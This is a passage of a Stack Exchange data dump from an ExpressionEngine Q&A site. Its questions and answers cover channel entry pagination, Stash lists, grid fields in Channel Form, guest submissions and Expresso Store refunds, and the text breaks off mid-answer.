  <row Id="32248" PostTypeId="2" ParentId="32239" CreationDate="2015-07-09T00:46:08.820" Score="1" Body="&lt;p&gt;The UPS plugin requires that you have at least the buyers shipping city, state and zip code if I remember correctly. So you will need to collect those before you show shipping information.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually do this once a user has an item in their cart and do not have shipping details already saved in their profile with a modal window recommending the user get tax &amp;amp; shipping estimates. If your customers are going to be logged in you should just need to make sure that you have mapped the shipping fields to custom profile fields so that you can bypass collecting that information in the future and can show the shipping details on the first page.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-09T00:46:08.820" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32249" PostTypeId="1" CreationDate="2015-07-09T02:27:39.090" Score="0" ViewCount="33" Body="&lt;p&gt;I'm trying to figure out how to get content dynamically from expression engine. Basically I have 6 article summaries as content. When the page loads, I'm getting 3 summaries, but I have a &quot;show more&quot; button. When it's clicked, I want to load the next 3 summaries but I don't know how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what my tags look like now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blogposts&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;div class='article-box'&amp;gt;&#xA;        &amp;lt;div class=&quot;article-image-box&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;article-image&quot;&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p class='author'&amp;gt;{blog_author}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                {blog_body}&#xA;            &amp;lt;/p&amp;gt;&#xA;           &amp;lt;div class=&quot;ful-art-but-box&quot;&amp;gt;&#xA;                &amp;lt;button class=&quot;button green-but&quot;&amp;gt;&#xA;                    READ FULL ARTICLE&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6475" LastActivityDate="2015-07-09T13:02:47.040" Title="retrieving first 3 content then last 3" Tags="|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32250" PostTypeId="2" ParentId="32246" CreationDate="2015-07-09T07:30:24.327" Score="0" Body="&lt;p&gt;Feature request are better sent directly to the developer. You have 2 options for that you could go to their &lt;a href=&quot;http://www.devdemon.com/support/form/&quot; rel=&quot;nofollow&quot;&gt;support form&lt;/a&gt; or by emailing them directly at info@devdemon.com&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-09T07:30:24.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32251" PostTypeId="1" AcceptedAnswerId="32253" CreationDate="2015-07-09T08:19:38.223" Score="0" ViewCount="94" Body="&lt;p&gt;How do you link one MSM site to another? Or putting another way, how can I get the site_url config item for a specific subsite (without resorting to PHP)?&#xA;Seems like a very basic question, but couldn't find anything in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6478" LastActivityDate="2015-07-09T12:47:18.343" Title="Get URL to MSM sites" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32252" PostTypeId="1" AcceptedAnswerId="32255" CreationDate="2015-07-09T10:55:02.223" Score="1" ViewCount="68" Body="&lt;p&gt;Currently, as standard the url_title field generates the url from the title field. I can then manually change the url_title field for each entry separately, but is it possible to set the url_title field to automatically generate with the title and an additional field for a specific channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, currently I may have the following fields in a 'Food' channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pepperoni Pizza&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pepperoni_pizza&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{restaurant}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Luigi's Smoke House&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I would like to set the url_title to automatically populate with the title and restaurant fields, resulting with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pepperoni_pizza_luigis_smoke_house&lt;/p&gt;&#xA;" OwnerUserId="6459" LastActivityDate="2015-07-09T17:25:38.447" Title="Possible to alter url_title field so it populates from the title and another field" Tags="|channel-entries|url|url-title|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32253" PostTypeId="2" ParentId="32251" CreationDate="2015-07-09T12:47:18.343" Score="0" Body="&lt;p&gt;I've run into this deficiency too - In the end I created each subsite's URL as a global variable for cross-site usage. (&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;FocusLab Master Config&lt;/a&gt; helps with that).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2015-07-09T12:47:18.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32254" PostTypeId="2" ParentId="32249" CreationDate="2015-07-09T13:02:47.040" Score="1" Body="&lt;p&gt;You could use the &lt;code&gt;offset&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#offset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that wouldn't be very efficient since you'd need two repetitive &lt;code&gt;channel:entries&lt;/code&gt; tags which don't perform very well. You could instead use &lt;code&gt;count&lt;/code&gt; to output different markup on different passes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blogposts&quot; limit=&quot;6&quot;}&#xA;    {if count == 3}&amp;lt;div style=&quot;display:none&quot;&amp;gt;{/if}&#xA;    &amp;lt;div class='article-box'&amp;gt;&#xA;        &amp;lt;div class=&quot;article-image-box&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;article-image&quot;&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p class='author'&amp;gt;{blog_author}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                {blog_body}&#xA;            &amp;lt;/p&amp;gt;&#xA;           &amp;lt;div class=&quot;ful-art-but-box&quot;&amp;gt;&#xA;                &amp;lt;button class=&quot;button green-but&quot;&amp;gt;&#xA;                    READ FULL ARTICLE&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if count == total_results}&amp;lt;/div&amp;gt;&amp;lt;!-- close hiding div --&amp;gt;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but that's not very readable or elegant in my opinion (I hate outputting disjointed chunks of opening/closing html tags, it becomes an ugly mess), so instead I'd use &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; with one &lt;code&gt;set_list&lt;/code&gt; and two &lt;code&gt;get_list&lt;/code&gt; tags, using &lt;code&gt;offset&lt;/code&gt; and &lt;code&gt;limit&lt;/code&gt;. Then if the actual markup for a single article becomes cumbersome you should abstract it out to a Stash embed to avoid the repetition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;entries&quot; parse=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;blogposts&quot; limit=&quot;6&quot;}&#xA;        {stash:the-title}{title}{/stash:the-title}&#xA;        {stash:another-field}{blog_field}{/stash:another-field}&#xA;        {stash:and-another}{blog_field2}{/stash:and-another}&#xA;        {stash:link}{url_title_path=blog}{/stash:link}&#xA;        ...etc...&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;entries&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;div class='article-box'&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{the-title}&amp;lt;/h1&amp;gt;&#xA;        ...etc... (or abstract all this markup to a Stash embed)&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;div class=&quot;hidden-articles&quot;&amp;gt;&#xA;    {exp:stash:get_list name=&quot;entries&quot; limit=&quot;3&quot; offset=&quot;3&quot;}&#xA;        &amp;lt;div class='article-box'&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{the-title}&amp;lt;/h1&amp;gt;&#xA;            ...etc... (or abstract all this markup to a Stash embed)&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2015-07-09T13:02:47.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32255" PostTypeId="2" ParentId="32252" CreationDate="2015-07-09T13:29:29.557" Score="3" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://devot-ee.com/add-ons/magic-fields-lite&quot; rel=&quot;nofollow&quot;&gt;Magic Fields add-on&lt;/a&gt; -  it can do this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-09T13:29:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32256" PostTypeId="1" CreationDate="2015-07-09T13:41:23.303" Score="1" ViewCount="433" Body="&lt;p&gt;I have a channel where I would like admin to be able to create entries and then anonymous users would be able to add rows to a grid field. I do not want the users to be able to see existing rows(if they exist), just add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I would be able to get the total rows, and with the Simple Math plugin, make Channel Form ready to add a new row.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;input-block-level&quot; type=&quot;text&quot; name=&quot;field_id_44[rows][new_row_{exp:simple_math calculate=&quot;{shipping_quotes:total_rows} + 1&quot; decimal_places=&quot;0&quot;}][col_id_6]&quot; value=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which actually works as expected&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;input-block-level&quot; type=&quot;text&quot; name=&quot;field_id_44[rows][new_row_2][col_id_6]&quot; value=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So [new_row_2] outputs as &quot;2&quot; because in this case there is already an existing row. This works no matter how many rows I add. If the entry has 3 rows in this grid field, it outputs [new_row_4]... as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this unfortunately doesn't translate when submitting the form. Submitting just replaces the existing row(#1), so I think I am misunderstanding how to add new rows via Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long story short, how do I add rows to a grid field via channel form.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2021-08-23T21:03:30.280" Title="Add New Grid Rows via Channel Form" Tags="|safecracker|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32257" PostTypeId="1" AcceptedAnswerId="32261" CreationDate="2015-07-09T16:20:10.767" Score="0" ViewCount="39" Body="&lt;p&gt;When a purchase is made with exp-resso Store and the payment is sent to paypal the customer and company both receive an email receipt from paypal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is the paypal receipt does not contain the product modifiers.  HOw do I get these added to the paypal invoice/receipt?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-08-12T19:30:34.820" Title="How do you get your modifiers to be on your paypal invoice?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32258" PostTypeId="2" ParentId="32252" CreationDate="2015-07-09T17:25:38.447" Score="0" Body="&lt;p&gt;Ammendum: Derek's suggestion seems much more suitable! Thanks for that Derek, I'll look at this module too!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My origional answer (that I never finished typing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible, but you'll need to do alot of core and CP hackery to achieve this, the function &lt;code&gt;url_title&lt;/code&gt; is in the file `/system/expressionengine/helpers/url_helper.php Line 474 on EE 2.10.1 if your interested. Be wary changing this function though, other diveses and modules use this common function, you'd be better re-implimenting it for the one place you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the logic in the CP is not suitable, the current version works as url_title derives from title, so once title field is updated and url_title is blank then update. With your construct there would need to be code that redefines this logic so that if either field is updated and rul_title is blank or matches one or the other fields but not both then.... you see waht I mean???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Alternative&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you not handle this another way? Lets say you have a template set up with the route of &lt;code&gt;/resturants/{any}&lt;/code&gt; so would pick up the URL &lt;code&gt;/resturants/pepperoni_pizza-luigis_smoke_house. Now lets say you split the 2 fields (lets say&lt;/code&gt;url_title&lt;code&gt;for the Luigi part and&lt;/code&gt;food` as the pizza part) with a dash instead of another underscore so you can seperate the 2 fields, as per the example above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template you can easily do this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    //resturant router&#xA;    $seg = ee()-&amp;gt;uri-&amp;gt;segment(2);&#xA;    $parts = explode(&quot;-&quot;, $seg);&#xA;?&amp;gt;&#xA;{exp:channel:entries dynamic=no url_title=&quot;&amp;lt;?php echo $parts[1] ?&amp;gt;&quot; search:food=&quot;&amp;lt;?php echo $parts[0] ?&amp;gt;&quot;}&#xA;    {!-- ... --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP on INPUT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another Alternative&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just use the category system? It's what it's intended for, so Pepperoni Pizza would be the category and Luigi's Smoke House would be the URL title. URL's would look something like : &lt;code&gt;/pepperoni_pizza/luigis_smoke_house&lt;/code&gt; or just a permalink to the resturant you want &lt;code&gt;/luigis_smoke_house&lt;/code&gt; or all resturants that server pepperoni pizza &lt;code&gt;/pepperoni_pizza/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some suggestions...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-09T17:25:38.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32259" PostTypeId="1" AcceptedAnswerId="32262" CreationDate="2015-07-09T17:29:01.177" Score="0" ViewCount="360" Body="&lt;p&gt;I have a channel form with a lot of fields, so many in fact, I am about to max out the field group's limit. I would like to use the Grid field to reduce the actual number of custom fields in the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the current code I am using to capture input on the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;name&quot; class=&quot;order&quot; return=&quot;liners/confirmation&quot; }&#xA;&amp;lt;table class=&quot;fourteen-col&quot;&amp;gt;        &#xA;    &amp;lt;tbody&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td class=&quot;plant_name&quot;&amp;gt;Azalea Native&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$2.25&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$2.00&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$1.75&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$1.50&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$0.70&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$0.85&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$1.00&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_1g_spr&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_2g_spr&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_series_3g_spr&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_series_1g_fall&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_series_2g_fall&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;az_native_series_3g_fall&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just need some guidance on how to integrate the Grid field values which are like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid field name: grid_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid column names: 1_gal_spr, 2_gal_spr, 3_gal_spr, 1_gal_fall, 2_gal_fall, 3_gal_fall&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would normally use {grid_name:1_gal_spr} to reference that information, but when I include the curly brackets in the form it throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to do this?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-08-08T22:47:29.440" Title="How do I include a Grid field in Channel Form" Tags="|channel-entries|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32260" PostTypeId="2" ParentId="32256" CreationDate="2015-07-09T17:29:32.610" Score="0" Body="&lt;p&gt;This looks to be a duplicate of this : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31197/adding-new-grid-entries-with-channelform/31240#31240&quot;&gt;Adding New Grid Entries With Channel:Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can use the same logic while switching Matrix with Grid, Or Channel form with SafeCracker Form)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out that question and my answer, it basically deals with what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short what you need to do is make sure you have the previously set rows in the Channel form as hidden elements. When you sumbit the channel entry form it takes your grid/matrix values in their entirety and saved them as the field value, it does not append them. So as you see, you will need to add the existing values to the form, then add your new values, and submit the whole lot!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-07-09T17:29:32.610" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32261" PostTypeId="2" ParentId="32257" CreationDate="2015-07-09T17:32:30.133" Score="1" Body="&lt;p&gt;You will need to open up the PayPal payment gateway file and search for the relevant code to send the line item data and then add code to loop through any modifiers for each item in the cart. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-09T17:32:30.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32262" PostTypeId="2" ParentId="32259" CreationDate="2015-07-09T17:32:50.253" Score="0" Body="&lt;p&gt;This looks to be a duplicate of this : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31197/adding-new-grid-entries-with-channelform/31240#31240&quot;&gt;Adding New Grid Entries With Channel:Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, someone else has asked a virtually identical question just now here : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32256/add-new-grid-rows-via-channel-form&quot;&gt;Add New Grid Rows via Channel Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can use the same logic while switching Matrix with Grid, Or Channel form with SafeCracker Form)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out that question and my answer, it basically deals with what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short what you need to do is make sure you have the previously set rows in the Channel form as hidden elements. When you sumbit the channel entry form it takes your grid/matrix values in their entirety and saved them as the field value, it does not append them. So as you see, you will need to add the existing values to the form, then add your new values, and submit the whole lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a simplier way, you can usethe &lt;code&gt;field&lt;/code&gt; tag syntax to get the matrix onto your form. See this post (which I based my previous answers on) : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17602/how-to-work-with-the-new-channel-forms-and-the-new-grid-fieldtype-and-updatein&quot;&gt;How to work with the new channel forms and the new grid fieldtype ( and updateing it)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically use &lt;code&gt;{field:your_grid_fieldname}&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-07-09T17:32:50.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32263" PostTypeId="1" AcceptedAnswerId="32265" CreationDate="2015-07-09T21:07:14.167" Score="1" ViewCount="66" Body="&lt;p&gt;I need to be able to refund single items from orders containing multiple items. Currently, I can delete a unwanted item from an order, but my only option for returning funds to the customer appears to be refunding the entire order and then creating a new payment for the new amount owing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="6481" LastActivityDate="2015-07-12T18:26:46.410" Title="Issuing Partial Refunds in Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32264" PostTypeId="1" AcceptedAnswerId="32269" CreationDate="2015-07-09T21:17:38.257" Score="0" ViewCount="254" Body="&lt;p&gt;I am working with a template where items are filtered by their checkbox values. The each item can have multiple checkbox values, and when they are selected the checkbox values are separated with a comma. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: The template looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;{checkbox_values}&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When multiple checkboxes are selected it looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;value1, value2, value3&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the isotope (&lt;a href=&quot;http://isotope.metafizzy.co/&quot; rel=&quot;nofollow&quot;&gt;http://isotope.metafizzy.co/&lt;/a&gt;) plugin to filter and sort my website values but isotope won't read the values with a comma after them. In the example above the only filter my filter function would read would be value3 (because it doesn't have a comma after it). Is there a way to customize the checkbox separator from a comma to a space? Or is there a different channel field that is better suited for something like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; This problem has been solved by adding some PHP to the replace the commas in the string of the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;&amp;lt;?php echo str_replace(&quot;,&quot;,&quot;&quot;,&quot;{checkbox_values}&quot;) ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6482" LastEditorUserId="6482" LastEditDate="2015-07-10T16:40:46.763" LastActivityDate="2015-07-10T16:40:46.763" Title="Is there a way to configure a custom separator for channel field checkboxes?" Tags="|templates|html|channel-fields|checkbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32265" PostTypeId="2" ParentId="32263" CreationDate="2015-07-09T22:46:06.480" Score="0" Body="&lt;p&gt;There is not a way to do it from the Store CP; depending on what payment gateway you are using I have found that it is usually easier to do it from the payment gateway actual account portal.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-12T18:26:46.410" LastActivityDate="2015-07-12T18:26:46.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32266" PostTypeId="2" ParentId="32168" CreationDate="2015-07-10T05:24:03.663" Score="0" Body="&lt;p&gt;There must have been some sort of issue with EE's stats being up to date for channel entry data. I ran the recount stats utility on your site and the numbers seem to be correct now. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-07-10T05:24:03.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32267" PostTypeId="1" CreationDate="2015-07-10T09:56:46.077" Score="0" ViewCount="117" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YcNm.jpg&quot; alt=&quot;enter image description here&quot;&gt;I'm trying to get Channel From working with non logged in users. Unfortunately with no success. I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;calendar_events&quot; return=&quot;site/index&quot; logged_out_member_id=&quot;3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try this logged in - it works. When I'm logged out - it says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The provided member id to use for guest submissions is invalid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anybody experienced these problems with channel form and anonymously posting en entry? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I allowed the Guest submission in the CP admin -&gt; Channel Form page.&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2015-07-10T10:26:24.317" Title="Trying to post through Channel form anonymously - &quot;The provided member id to use for guest submissions is invalid.&quot;" Tags="|safecracker|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32268" PostTypeId="2" ParentId="32267" CreationDate="2015-07-10T10:26:24.317" Score="2" Body="&lt;p&gt;In addition to this I beleive you have to allow the group access to the specific channel you want them to post too. I just tested this on my sandbox...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after you've done your thing in &lt;code&gt;Admin &amp;gt; Channel Administration &amp;gt; Channel Form&lt;/code&gt;, head over to &lt;code&gt;Members &amp;gt; Member Groups&lt;/code&gt;, click 'edit group' for the Guests Row, scroll down to the &quot;Channel Assignment&quot; section (quite near the bottom) and for the channel they are posting to select 'Yes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I beleive this should get you rocking, let us know if there's any more issue!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-10T10:26:24.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32269" PostTypeId="2" ParentId="32264" CreationDate="2015-07-10T10:34:54.890" Score="1" Body="&lt;p&gt;YOu could simply strip the commas, as there's spaces in there already...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a 3rd party plugin like &lt;a href=&quot;https://devot-ee.com/add-ons/string-replace-exp&quot; rel=&quot;nofollow&quot;&gt;String Replace Exp&lt;/a&gt; which is free : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;{exp:strrexp pattern=&quot;,&quot; replace=&quot;&quot; string=&quot;{checkbox_values}&quot; }&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could drop a simple piece of PHP on the page like so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;&amp;lt;?php echo str_replace(&quot;,&quot;,&quot;&quot;,&quot;{checkbox_values}&quot;) ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;PHP&lt;/strong&gt; on 